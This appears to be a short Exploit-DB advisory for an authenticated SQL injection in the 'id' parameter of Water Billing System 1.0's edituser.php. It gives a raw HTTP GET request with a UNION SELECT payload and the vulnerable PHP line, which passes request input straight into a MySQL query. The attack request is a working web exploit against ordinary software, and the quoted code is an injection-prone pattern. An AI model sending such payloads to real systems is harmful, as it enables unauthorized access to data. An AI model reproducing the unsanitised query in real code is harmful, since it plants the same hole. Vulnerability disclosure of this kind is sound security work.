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## https://sploitus.com/exploit?id=EDB-ID:49048
# Exploit Title: Water Billing System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 2020-11-14
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: Apache2 and Windows 10

Vulnerable param: id
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GET /WBS/edituser.php?id=-9%27+UNION+SELECT+1,@@VERSION,3,4--%20- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/WBS/user.php
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean




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Source Code: edituser.php

..
..
..
$user_id =$_REQUEST['id'];
$result = mysqli_query($conn,"SELECT * FROM user WHERE id  = '$user_id'");
..
..

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